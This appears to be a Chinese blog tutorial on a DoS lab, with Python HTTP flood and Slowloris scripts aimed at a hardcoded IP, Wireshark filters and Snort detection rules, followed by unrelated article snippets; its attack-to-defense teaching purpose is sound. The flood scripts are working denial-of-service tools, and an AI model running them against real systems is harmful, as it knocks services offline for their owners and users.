当前位置: 首页 > article >正文

从攻到防:实战演练基于Wireshark与Snort的DoS攻击检测

1. 拒绝服务攻击初探原理与危害剖析想象一下周末去热门餐厅吃饭的场景。当所有座位都被占满门口还不断涌入大量假顾客时真正的食客就会被挡在门外——这就是拒绝服务攻击DoS的生动写照。作为网络安全领域最常见的攻击方式之一DoS通过耗尽目标系统的资源使其无法提供正常服务。在实际攻防演练中我常把DoS攻击分为三大类型带宽消耗型如同用消防水管冲击纸杯通过海量流量压垮网络带宽资源耗尽型类似派1000个人同时要求服务员点单耗尽服务器CPU/内存协议漏洞型好比利用餐厅订位规则的漏洞伪造大量预约占位去年在某企业红队演练时我们仅用单台笔记本就通过SYN Flood攻击让他们的电商平台瘫痪了37分钟。这种攻击利用TCP三次握手的特性发送大量伪造源地址的SYN包却不完成握手过程导致服务器维护大量半开连接。通过Wireshark抓包可以看到正常流量中SYN/ACK比例约为1:1而攻击时SYN包数量会突然激增10倍以上。2. 实验环境搭建从零构建攻防战场2.1 虚拟化环境配置我推荐使用VirtualBoxVMware的组合搭建实验环境这样既能保证隔离性又方便抓包。关键配置包括攻击者机器Kali Linux预装攻击工具靶机Ubuntu Server运行Nginx服务监控机Windows 10运行Wireshark交换机启用端口镜像功能关键# 在Ubuntu上安装Nginx的快速命令 sudo apt update sudo apt install nginx -y sudo systemctl start nginx2.2 网络拓扑设计通过GNS3构建的典型实验拓扑如下[攻击者] --- [交换机] --- [Web服务器] | [IDS监控机]务必确保交换机的镜像端口配置正确这是捕获攻击流量的关键。在Cisco交换机上可以使用以下命令monitor session 1 source interface fastEthernet 0/1 monitor session 1 destination interface fastEthernet 0/243. 攻击实战Python实现多种DoS攻击3.1 基础HTTP Flood攻击这是我改进版的Python攻击脚本增加了随机User-Agent和间隔时间import requests import random import threading target_url http://11.93.120.7 user_agents [ Mozilla/5.0 (Windows NT 10.0; Win64; x64), Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7), Mozilla/5.0 (X11; Linux x86_64) ] def http_flood(): while True: try: headers {User-Agent: random.choice(user_agents)} requests.get(target_url, headersheaders) except: pass for i in range(500): # 500个并发线程 threading.Thread(targethttp_flood).start()3.2 高级Slowloris攻击Slowloris是种更隐蔽的攻击方式它通过保持大量慢速HTTP连接耗尽服务器资源import socket import time target 11.93.120.7 port 80 sockets [] def create_socket(): s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(fGET /?{time.time()} HTTP/1.1\r\n.encode()) s.send(fHost: {target}\r\n.encode()) s.send(User-Agent: Mozilla/5.0\r\n.encode()) s.send(Content-length: 100000\r\n.encode()) # 关键恶意头部 return s for i in range(200): # 建立200个慢连接 sockets.append(create_socket()) time.sleep(0.1) while True: for s in sockets: try: s.send(X-a: b\r\n.encode()) # 保持连接活跃 time.sleep(10) except: sockets.remove(s) sockets.append(create_socket())4. 流量分析用Wireshark捕捉攻击特征4.1 正常流量基准测试在攻击前我们先记录正常流量的特征请求频率约5-10次/秒源IP分布多个不同IP数据包大小分布均匀HTTP方法GET/POST混合通过Wireshark的统计功能可以看到正常流量中TCP会话持续时间多在1-5秒之间且每个会话包含完整的三次握手和四次挥手过程。4.2 攻击流量特征识别当HTTP Flood攻击发生时Wireshark会显示以下异常流量激增IO图表显示流量突然上升10倍以上协议分布异常HTTP协议占比超过90%源IP集中Statistics → Endpoints显示少量IP发起大量请求请求规律性Follow TCP Stream显示相同请求重复发送# Wireshark过滤攻击流量的实用过滤表达式 http.request.method GET ip.src 11.93.120.65. 防御部署Snort规则实战编写5.1 基础检测规则在/etc/snort/rules目录下创建dos.rules文件alert tcp any any - $HOME_NET 80 ( \ msg:Possible HTTP DoS Attack; \ flow:to_server; \ detection_filter:track by_src, count 100, seconds 10; \ sid:1000001; \ rev:1;)这条规则会在10秒内检测到来自同一源的100次HTTP请求时触发告警。5.2 高级频率检测规则针对Slowloris等慢速攻击需要更精细的检测alert tcp any any - $HOME_NET 80 ( \ msg:Slow HTTP DoS Attack; \ flow:to_server,established; \ content:Content-length|3a| 100000; \ threshold:type threshold, track by_src, count 5, seconds 60; \ sid:1000002; \ rev:1;)5.3 规则优化技巧在实际部署中发现几个关键点阈值调整根据业务特点设置合理阈值避免误报白名单设置排除CDN和搜索引擎的IP段性能考量复杂规则会降低Snort处理速度# 查看Snort性能统计的命令 snort -c /etc/snort/snort.conf -T6. 攻防对抗中的经验分享在一次企业安全评估中我们发现攻击者会故意在请求中插入随机参数来绕过简单检测GET /?rand0.123456 HTTP/1.1 GET /?rand0.654321 HTTP/1.1针对这种情况我改进了Snort规则不再检测具体URL而是关注请求模式alert tcp any any - $HOME_NET 80 ( \ msg:Advanced HTTP Flood; \ pcre:/GET\s\/\?[a-z]\[0-9\.]/i; \ detection_filter:track by_src, count 50, seconds 5; \ sid:1000003; \ rev:1;)另一个常见问题是攻击源使用代理或Tor网络。这时需要结合连接速率和TCP窗口大小等底层特征进行检测。在Wireshark中可以通过以下过滤条件识别异常连接tcp.window_size 64 tcp.flags.syn 1

相关文章:

从攻到防:实战演练基于Wireshark与Snort的DoS攻击检测

1. 拒绝服务攻击初探:原理与危害剖析 想象一下周末去热门餐厅吃饭的场景。当所有座位都被占满,门口还不断涌入大量"假顾客"时,真正的食客就会被挡在门外——这就是拒绝服务攻击(DoS)的生动写照。作为网络安…...

除了阿里云,还有哪些靠谱的身份证实名认证方案?SpringBoot整合横向评测

SpringBoot整合主流身份证实名认证API横向评测:从阿里云到多服务商技术选型指南 当你的应用需要接入身份证实名认证功能时,阿里云可能只是众多选项中的一个起点。作为技术决策者,如何在腾讯云、百度智能云、聚合数据等众多服务商中做出最优选…...

DAMOYOLO-S快速上手:移动端浏览器访问Web服务与触屏操作适配说明

DAMOYOLO-S快速上手:移动端浏览器访问Web服务与触屏操作适配说明 1. 开篇:一个能“看懂”世界的AI助手 想象一下,你正用手机拍一张街景照片,屏幕上立刻就能标出“汽车”、“行人”、“交通灯”,甚至“手提包”。这不…...

告别C盘爆满!手把手教你配置Miniforge,让所有虚拟环境乖乖待在D盘

彻底解放C盘空间:Miniforge虚拟环境全迁移至D盘实战指南 每次打开资源管理器看到C盘飘红的存储条,心跳都会漏半拍——这大概是Windows开发者最熟悉的焦虑场景。特别是当你发现conda创建的虚拟环境正悄无声息吞噬着宝贵的系统盘空间时,那种无…...

实战演练:基于快马平台生成学生成绩排名系统,掌握排序算法应用

最近在做一个学生成绩管理系统的实战项目,其中排序功能是核心模块。通过这个项目,我深刻体会到排序算法在实际应用中的重要性。下面分享一下我的实现思路和经验总结。 学生类设计 首先需要定义一个学生类,包含学号、姓名、各科成绩和总成绩等…...

基于历史数据的加密货币交易系统策略验证实践指南

基于历史数据的加密货币交易系统策略验证实践指南 【免费下载链接】node-binance-trader 💰 Cryptocurrency Trading Strategy & Portfolio Management Development Framework for Binance. 🤖 项目地址: https://gitcode.com/gh_mirrors/no/node-…...

Vivado MIG IP核实战:DDR3控制器配置与仿真全流程解析

1. Vivado MIG IP核与DDR3控制器基础认知 第一次接触DDR3控制器时,我被那些密密麻麻的时序图吓得不轻。直到发现Xilinx的MIG(Memory Interface Generator)IP核,才明白原来FPGA开发可以这么"偷懒"。这个IP核就像个贴心的…...

ctfshow-web进阶-命令执行绕过技巧(web71-web74)

1. 命令执行漏洞基础与CTF常见场景 命令执行漏洞(Command Execution)是Web安全中一种高危漏洞,它允许攻击者在服务器上执行任意系统命令。在CTF比赛中,这类题目通常会模拟真实环境中开发者未对用户输入进行严格过滤的场景。 我刚开…...

如何通过自动化硬件适配技术突破Hackintosh配置瓶颈:OpCore Simplify技术深度解析

如何通过自动化硬件适配技术突破Hackintosh配置瓶颈:OpCore Simplify技术深度解析 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 在开源系…...

别再手动埋点了!用OpenTelemetry Operator在K8s里给Java应用自动注入链路追踪(附完整YAML)

零代码改造:OpenTelemetry Operator在K8s中实现Java应用全自动观测 当微服务架构遇上云原生环境,可观测性成为工程团队的生命线。但传统埋点方案需要侵入业务代码、增加维护成本,这与快速迭代的DevOps理念背道而驰。本文将揭示如何通过OpenTe…...

SpringBoot3.3.1+Elasticsearch8.13.4日期转换踩坑实录:LocalDateTime保存为时间戳的完整方案

SpringBoot3.3.1与Elasticsearch8.13.4时间类型转换实战:从踩坑到优雅解决 最近在升级技术栈到SpringBoot3.3.1时,发现与Elasticsearch8.13.4的集成出现了一个棘手的问题:LocalDateTime类型在保存和查询时表现异常。这让我花了整整两天时间排…...

从游戏机到影音中心:用wiliwili解锁Switch的隐藏娱乐潜能

从游戏机到影音中心:用wiliwili解锁Switch的隐藏娱乐潜能 【免费下载链接】wiliwili 专为手柄控制设计的第三方跨平台B站客户端,目前可以运行在PC全平台、PSVita、PS4 和 Nintendo Switch上 项目地址: https://gitcode.com/GitHub_Trending/wi/wiliwil…...

手把手教你用Claude Desktop的MCP协议,5分钟搞定本地SQLite数据库查询

5分钟实现自然语言查询SQLite:Claude Desktop MCP协议实战指南 想象一下这样的场景:你手头有一个存储着上万条商品信息的SQLite数据库,现在需要快速统计某个品类的库存数量。传统方式可能需要打开数据库工具、编写SQL查询语句,或者…...

Czkawka:用Rust构建的开源存储清理工具全解析

Czkawka:用Rust构建的开源存储清理工具全解析 【免费下载链接】czkawka Multi functional app to find duplicates, empty folders, similar images etc. 项目地址: https://gitcode.com/GitHub_Trending/cz/czkawka 一、场景痛点:当代存储管理的…...

YOLO12开源模型合规部署:离线环境+审计日志+模型版本固化方案

YOLO12开源模型合规部署:离线环境审计日志模型版本固化方案 1. 项目背景与核心价值 YOLO12作为Ultralytics在2025年推出的最新实时目标检测模型,在保持高速推理性能的同时显著提升了检测精度。其引入的注意力机制优化了特征提取网络,nano版…...

Hunyuan-MT-7B保姆级教程:Pixel Language Portal在树莓派5上的轻量级翻译终端部署

Hunyuan-MT-7B保姆级教程:Pixel Language Portal在树莓派5上的轻量级翻译终端部署 1. 项目介绍与核心价值 Pixel Language Portal(像素语言跨维传送门)是一款基于Tencent Hunyuan-MT-7B大语言模型的创新翻译工具。与传统翻译软件不同&#…...

春季2021亚马逊研究奖获奖者公布

春季 2021 某机构研究奖获奖者公布 2021年7月,某机构通知申请人已成为2021年春季某机构研究奖的获得者。该奖项旨在为跨多个学科领域开展研究课题的学术研究人员提供无限制资金和某云平台服务积分。今天,我们正式公布26位获奖者,他们来自11个…...

收藏!小白程序员必看:Agent和工作流是最佳拍档,教你如何协同它们(附案例)

文章探讨了AI智能体(Agent)和工作流工具的关系,指出它们并非竞争对手,而是最佳拍档。Agent擅长自主决策和动态规划,适用于探索性和不确定性任务;工作流则负责流程编排和确定性执行,适用于重复性…...

保姆级教程:用Docker Compose一键部署Dify AI平台(附国内镜像加速与端口冲突解决)

零门槛部署Dify AI开发平台:Docker Compose全流程指南与避坑手册 在AI应用开发领域,快速搭建一个稳定可靠的开发环境往往是项目成功的第一步。Dify作为一款面向开发者的AI应用开发平台,通过可视化编排和低代码方式大大降低了构建基于大语言模…...

重新定义AI助手体验:突破Cursor Pro限制的5个技术方案

重新定义AI助手体验:突破Cursor Pro限制的5个技术方案 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reached your tri…...

GyroFlow:用陀螺仪数据重塑视频稳定技术

GyroFlow:用陀螺仪数据重塑视频稳定技术 【免费下载链接】gyroflow Video stabilization using gyroscope data 项目地址: https://gitcode.com/GitHub_Trending/gy/gyroflow 在数字影像创作领域,画面稳定性直接决定作品专业度。无论是运动相机拍…...

保姆级教程:用mintar版imu_utils搞定ZED2/Realsense相机内置IMU标定(避坑kalibr_allan)

保姆级教程:用mintar版imu_utils完成ZED2/Realsense相机IMU标定实战指南 当你在视觉惯性里程计(VIO)项目中遇到定位漂移问题时,很可能是因为IMU参数配置不当。与网上普遍推荐的kalibr_allan方法不同,本文将带你体验min…...

颠覆传统投资分析:TradingAgents-CN智能交易系统零门槛部署指南

颠覆传统投资分析:TradingAgents-CN智能交易系统零门槛部署指南 【免费下载链接】TradingAgents-CN 基于多智能体LLM的中文金融交易框架 - TradingAgents中文增强版 项目地址: https://gitcode.com/GitHub_Trending/tr/TradingAgents-CN 在金融科技迅猛发展的…...

不只是安装:深入理解TI毫米波雷达开发套件(MMWCAS-RF-EVM)的软件生态与数据流

不只是安装:深入理解TI毫米波雷达开发套件(MMWCAS-RF-EVM)的软件生态与数据流 毫米波雷达技术正在重塑自动驾驶、工业检测和智能安防等领域,而TI的MMWCAS-RF-EVM评估板作为行业标杆工具,其真正的价值往往被简化为"…...

【回归儿童本位,重构专业底色】学前教育行业的深度思辨与价值坚守(二)

吕坤阳亲笔二、行业高质量发展的核心:回归儿童,摒弃功利化教育随着学前教育普惠政策的推进,行业规范化程度不断提升,但功利化、形式化的教育倾向依然存在,成为高质量发展的阻碍。部分幼儿园为迎合家长“抢跑”需求&…...

3个关键步骤:如何用Bilibili-Evolved打造60fps流畅播放体验

3个关键步骤:如何用Bilibili-Evolved打造60fps流畅播放体验 【免费下载链接】Bilibili-Evolved 强大的哔哩哔哩增强脚本 项目地址: https://gitcode.com/gh_mirrors/bi/Bilibili-Evolved Bilibili-Evolved作为一款强大的哔哩哔哩增强脚本,为追求极…...

【王阳明】《泛海》

王阳明《泛海》:证道诗与心学宣言原诗险夷原不滞胸中, 何异浮云过太空? 夜静海涛三万里, 月明飞锡下天风。一、创作背景:九死一生的逃亡 这首诗写于王阳明人生最险峻的时刻,背景远比字面所呈现的更为惊心动…...

Bootstrap 下拉菜单:全面解析与应用指南

Bootstrap 下拉菜单:全面解析与应用指南 引言 Bootstrap 是一个流行的前端框架,它提供了丰富的组件和工具来帮助开发者快速构建响应式、美观的网页。其中,下拉菜单是 Bootstrap 中一个常用且重要的组件,它能够帮助用户在有限的空间…...

如何一键备份QQ空间历史说说:完整数据备份与隐私保护指南

如何一键备份QQ空间历史说说:完整数据备份与隐私保护指南 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否担心那些记录青春的QQ空间说说会随着时间流逝而消失&#xf…...

Cosmos-Reason1-7B部署教程:Docker镜像免配置+7860端口快速启用

Cosmos-Reason1-7B部署教程:Docker镜像免配置7860端口快速启用 1. 项目概述 Cosmos-Reason1-7B是NVIDIA推出的7B参数多模态视觉语言模型(VLM),专注于物理理解和思维链推理能力。作为Cosmos世界基础模型平台的核心组件,它能够处理图像和视频…...